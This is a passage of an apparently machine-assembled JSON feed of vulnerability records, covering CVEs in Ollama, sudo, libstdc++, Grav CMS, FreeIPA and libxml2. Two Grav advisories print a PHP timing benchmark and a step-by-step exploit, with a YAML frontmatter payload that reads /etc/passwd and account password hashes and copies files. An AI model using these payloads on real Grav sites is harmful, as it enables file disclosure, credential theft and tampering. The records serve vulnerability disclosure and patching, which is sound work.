CVE-2026-114110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114110","type":"primary","publishedAt":"2026-10-21T01:17:37.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-37032","cveId":"CVE-2024-37032","aliases":["Probllama"],"kind":"vulnerability","title":"Ollama model-digest path traversal","summary":"Ollama before 0.1.34 failed to validate model digests before constructing file paths. Wiz demonstrated arbitrary file read and overwrite, leading to code execution in its tested Docker deployment; it did not establish a criminal exploitation campaign.","detail":"The attack requires access to the Ollama API. Wiz distinguishes localhost-bound Linux installations from exposed Docker deployments and recommends protective authentication when network access is needed.","action":"Update Ollama to a current release containing the 0.1.34 correction. Do not expose its API to untrusted networks without protective authentication and network controls, as recommended by Wiz.","publishedAt":"2024-05-31","updatedAt":"2025-03-27","regions":["Global"],"vendor":"Ollama","product":"Ollama model server","stacks":["Docker and containers","Ollama","Go modules","Go","Docker","AI / ML infrastructure","LLM serving"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2024-37032","asOf":"2025-03-27T20:57:59.559Z"},"epss":{"probability":0.89633,"percentile":0.99785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25"}},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The affected product serves AI models. This classification describes the vulnerable infrastructure, not proof that an attacker used AI.","sourceUrl":"https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032"},"sources":[{"name":"Wiz Probllama research disclosure","url":"https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032","type":"primary","publishedAt":"2024-06-24","checkedAt":"2026-10-26","supports":"Research demonstration, AI infrastructure context, deployment-specific exposure, correction, and mitigation guidance."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-37032, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2024-37032","type":"primary","publishedAt":"2024-05-31T00:00:00.000Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2024-37032 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2026-96512","cveId":"CVE-2026-96512","aliases":[],"kind":"vulnerability","title":"A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time...","summary":"A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the authorization window by up to approximately 25 hours, causing expired rules to be treated as valid. This allows the user to execute commands outside the intended time window. Authentication is not bypassed; only the time-based authorization check is affected.","detail":"A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the authorization window by up to approximately 25 hours, causing expired rules to be treated as valid. This allows the user to execute commands outside the intended time window. Authentication is not bypassed; only the time-based authorization check is affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-09-23T14:17:10.747Z","updatedAt":"2026-10-26T14:16:41.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96512","asOf":"2026-10-26T14:16:41.953Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96512","type":"primary","publishedAt":"2026-09-23T14:17:10.747Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95619","cveId":"CVE-2026-95619","aliases":[],"kind":"vulnerability","title":"A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library.","summary":"A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.","detail":"A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-09-22T13:17:13.300Z","updatedAt":"2026-10-26T14:16:41.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95619","asOf":"2026-10-26T14:16:41.740Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95619","type":"primary","publishedAt":"2026-09-22T13:17:13.300Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-windows-dangling-com-aeff1dc7e91a","cveId":null,"aliases":[],"kind":"advisory","title":"Windows Exploitation Techniques: Dangling COM Object Registrations","summary":"This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug was a dangling COM object registration for the CrossDevice COM object with the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}. A COM registration typically needs two parts: a server executable, which for in-process components is a DLL and a CLSID entry under the HKEY_CLASSES_ROOT registry key which points to that DLL.","detail":"This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug was a dangling COM object registration for the CrossDevice COM object with the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}. A COM registration typically needs two parts: a server executable, which for in-process components is a DLL and a CLSID entry under the HKEY_CLASSES_ROOT registry key which points to that DLL.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-09-21T07:00:00.000Z","updatedAt":"2026-09-21T07:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: Windows Exploitation Techniques: Dangling COM Object Registrations","url":"https://projectzero.google/2026/09/windows-dangling-com.html","type":"primary","publishedAt":"2026-09-21T07:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72701","cveId":"CVE-2026-72701","aliases":["GHSA-38p6-h87p-r4cg"],"kind":"vulnerability","title":"Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection","summary":"`Grav\\Common\\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.\n\nThe codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison.","detail":"## Summary\n\n`Grav\\Common\\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.\n\nThe codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Utils.php`, lines 1512 to 1521:\n```php\npublic static function verifyNonce($nonce, $action)\n{\n //Safety check for multiple nonces\n if (is_array($nonce)) {\n $nonce = array_shift($nonce);\n }\n\n //Nonce generated 0-12 hours ago\n if ($nonce === self::getNonce($action)) {\n return true;\n }\n\n //Nonce generated 12-24 hours ago\n return $nonce === self::getNonce($action, true);\n}\n```\n\nThe nonce itself is `md5($tick . '|' . $action . '|' . $username . '|' . session_id() . '|' . Security::getNonceKey())`, computed in the private `generateNonceString()` a few lines above. `Security::getNonceKey()` is an installation level secret. So the value being compared with `===` is a value derived from a secret, which is exactly the case `hash_equals()` exists for.\n\n## Proof of concept, verified, real output\n\nI could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's `===` string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.\n\nStep 1, confirm PHP build:\n```\n$ php -v\nPHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)\n```\n\nStep 2, benchmark script, measures the median time of `$a === $b` over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length:\n```php\n<?php\n// timing_poc2.php\nfunction timeCompare(string $a, string $b, int $iterations): float {\n $r = null;\n $start = hrtime(true);\n for ($i = 0; $i < $iterations; $i++) {\n $r = ($a === $b);\n }\n $end = hrtime(true);\n return ($end - $start) / $iterations;\n}\n\nfunction median(array $arr): float {\n sort($arr);\n $n = count($arr);\n $mid = intdiv($n, 2);\n return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2;\n}\n\nfunction runExperiment(int $len, int $iterations, int $trials): array {\n $secret = bin2hex(random_bytes((int)ceil($len / 2)));\n $secret = substr($secret, 0, $len);\n\n $wrongEarly = $secret;\n $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';\n\n $wrongLate = $secret;\n $last = $len - 1;\n $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';\n\n $earlyTimes = [];\n $lateTimes = [];\n timeCompare($wrongEarly, $secret, 20000);\n timeCompare($wrongLate, $secret, 20000);\n for ($t = 0; $t < $trials; $t++) {\n $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations);\n $lateTimes[] = timeCompare($wrongLate, $secret, $iterations);\n }\n return [median($earlyTimes), median($lateTimes)];\n}\n\necho \"=== Length 4096 bytes, establishes the primitive is not constant time ===\\n\";\n[$e, $l] = runExperiment(4096, 20000, 15);\nprintf(\"Median mismatch at position 0 : %.2f ns/op\\n\", $e);\nprintf(\"Median mismatch at last position : %.2f ns/op\\n\", $l);\nprintf(\"Ratio (late/early) : %.2fx\\n\\n\", $l / $e);\n\necho \"=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\\n\";\n[$e2, $l2] = runExperiment(32, 200000, 21);\nprintf(\"Median mismatch at position 0 : %.2f ns/op\\n\", $e2);\nprintf(\"Median mismatch at last position : %.2f ns/op\\n\", $l2);\nprintf(\"Ratio (late/early) : %.2fx\\n\", $l2 / $e2);\n```\n\nStep 3, run it three times to confirm the result is reproducible and not noise:\n```\n$ php timing_poc2.php\n```\n\nActual output, run 1:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0 : 13.83 ns/op\nMedian mismatch at last position : 338.58 ns/op\nRatio (late/early) : 24.48x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0 : 14.13 ns/op\nMedian mismatch at last position : 17.41 ns/op\nRatio (late/early) : 1.23x\n```\n\nActual output, run 2:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0 : 14.25 ns/op\nMedian mismatch at last position : 333.99 ns/op\nRatio (late/early) : 23.44x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0 : 13.83 ns/op\nMedian mismatch at last position : 17.24 ns/op\nRatio (late/early) : 1.25x\n```\n\nActual output, run 3:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0 : 14.20 ns/op\nMedian mismatch at last position : 336.89 ns/op\nRatio (late/early) : 23.73x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0 : 13.98 ns/op\nMedian mismatch at last position : 17.39 ns/op\nRatio (late/early) : 1.24x\n```\n\nInterpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof `===` is not constant time in this PHP buil\n\nAffected package ranges reported by GitHub:\ngetgrav/grav: <= 2.0.15","action":"GitHub lists first patched versions: getgrav/grav: 2.0.16. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-09-17T20:25:05.000Z","updatedAt":"2026-10-26T14:42:36.000Z","regions":["Global"],"vendor":null,"product":"getgrav/grav","stacks":["PHP packages (Composer)","getgrav/grav","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-38p6-h87p-r4cg","asOf":"2026-10-26T14:42:36.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-38p6-h87p-r4cg","url":"https://github.com/advisories/GHSA-38p6-h87p-r4cg","type":"primary","publishedAt":"2026-09-17T20:25:05.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-38p6-h87p-r4cg, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69088","cveId":"CVE-2026-69088","aliases":["GHSA-7pgq-cr25-xvc8"],"kind":"vulnerability","title":"Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure","summary":"`Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, \":\")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.)\n\nThis is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design.","detail":"### Summary\nGrav CMS's blueprint dynamic-field callable guard can be bypassed with a fully-qualified `Class::method` string, letting an account with only page-editing rights (`admin.pages`, not super-admin) plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this yields, at minimum, arbitrary reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account.\n\n### Details\n`Blueprint::isSafeDynamicCall()` (`system/src/Grav/Common/Data/Blueprint.php`, method around line 488) is meant to block dangerous callables named in a blueprint's dynamic-field directives (`data-*@`). It only consults its dangerous-name denylist when the callable string does **not** contain `::`:\n```php\nif (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)) {\n return false;\n}\n```\nAny callable string containing `::` — i.e. every `Class::method` static call — skips the check entirely and is passed to `call_user_func_array()` at `Blueprint::dynamicData()` (`Blueprint.php`, around line 461) and `FlexDirectory::dynamicDataField()` (`system/src/Grav/Framework/Flex/FlexDirectory.php`, around line 937). There is no allowlist restricting which classes or methods may be invoked this way; only the call's *arguments* are (separately) scanned for smuggled dangerous callables, never the target itself.\n\n`Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, \":\")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.)\n\nThis is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design.\n\n### PoC\nTested on Grav `develop` at commit `db8c1fc` (which self-reports version 2.0.11) with the admin and form plugins, using an account granted only `admin.login` + `admin.pages` (page editor, not super-admin). The same guard is present in every current release from 2.0.7 through 2.0.10. Base URL shown as `https://grav.example`.\n\n**A. Arbitrary file read (confidentiality)**\n\n1. Log in to `/admin` as the page-editor account (GET `/admin` for the login nonce, then POST `task=login`).\n2. Save a page via the standard admin endpoint, `POST /admin/pages/ ` with the session cookie, the admin nonce, and `data[frontmatter]` containing a form field with a `download` gadget directive:\n ```yaml\n forms:\n x:\n fields:\n y:\n type: text\n data-opts@:\n - 'Grav\\Common\\Utils::download'\n - '/etc/passwd'\n - false\n - 0\n - 1024\n - mime: 'text/plain'\n ```\n The server returns `HTTP 200` and accepts the save — the `data-opts@` directive is not rejected.\n3. As an unauthenticated visitor (no cookies), request the saved page, e.g. `GET / ` (use a fresh query string to avoid a cached copy; immediately after saving, a first request may `404` while the flat-file page index catches up — retry moments later). The response is `HTTP 200` with the raw contents of `/etc/passwd` in the body (`root:x:0:0:...`). Pointing the path at `user/accounts/ .yaml` instead returns that account file, including its `hashed_password:` bcrypt line — i.e. an anonymous visitor obtains a stored administrator's password hash.\n\n**B. Arbitrary file/directory write (integrity) — verified**\n\nUsing the same mechanism with `Grav\\Common\\Filesystem\\Folder::copy` (a public static method taking source and destination paths), a page editor caused the server to copy an existing page directory to an attacker-chosen new path under `user/pages/`; the newly created page then rendered its (attacker-controlled) content at the new route over plain HTTP. This demonstrates attacker-controlled creation of files/directories anywhere the web-server account can write. `Folder::move` and `Folder::delete` are equally reachable (their destructive nature was not exercised).\n\n### Impact\nA page editor (an `admin.pages`-only account, **not** super-admin) can, through a page they author:\n\n- **Read any server-readable file**, disclosed to any anonymous, unauthenticated visitor of the crafted page — including `user/accounts/*.yaml`, which stores account metadata and bcrypt password hashes. An attacker may attempt offline cracking of a disclosed hash; recovery of a weak or reused administrator password could lead to full admin-panel compromise. Other secrets on disk (site/plugin config, environment files) are equally exposed.\n- **Create or overwrite files and directories** under the web-server account (demonstrated via `Folder::copy`), with `Folder::move`/`Folder::delete` additionally reachable for destructive tampering.\n\nBecause the guard permits *any* public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase, not by this report's demonstrated cases.\n\nAffected package ranges reported by GitHub:\ngetgrav/grav: >= 2.0.7, <= 2.0.10","action":"GitHub lists first patched versions: getgrav/grav: 2.0.11. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-09-17T17:16:39.000Z","updatedAt":"2026-10-26T14:43:44.000Z","regions":["Global"],"vendor":null,"product":"getgrav/grav","stacks":["PHP packages (Composer)","getgrav/grav","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-7pgq-cr25-xvc8","asOf":"2026-10-26T14:43:44.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7pgq-cr25-xvc8","url":"https://github.com/advisories/GHSA-7pgq-cr25-xvc8","type":"primary","publishedAt":"2026-09-17T17:16:39.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7pgq-cr25-xvc8, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18147","cveId":"CVE-2026-18147","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page.","summary":"A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.","detail":"A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-09-09T17:17:17.007Z","updatedAt":"2026-10-26T14:16:38.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18147","asOf":"2026-10-26T14:16:38.397Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18147","type":"primary","publishedAt":"2026-09-09T17:17:17.007Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74860","cveId":"CVE-2026-74860","aliases":[],"kind":"vulnerability","title":"A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document...","summary":"A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.","detail":"A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 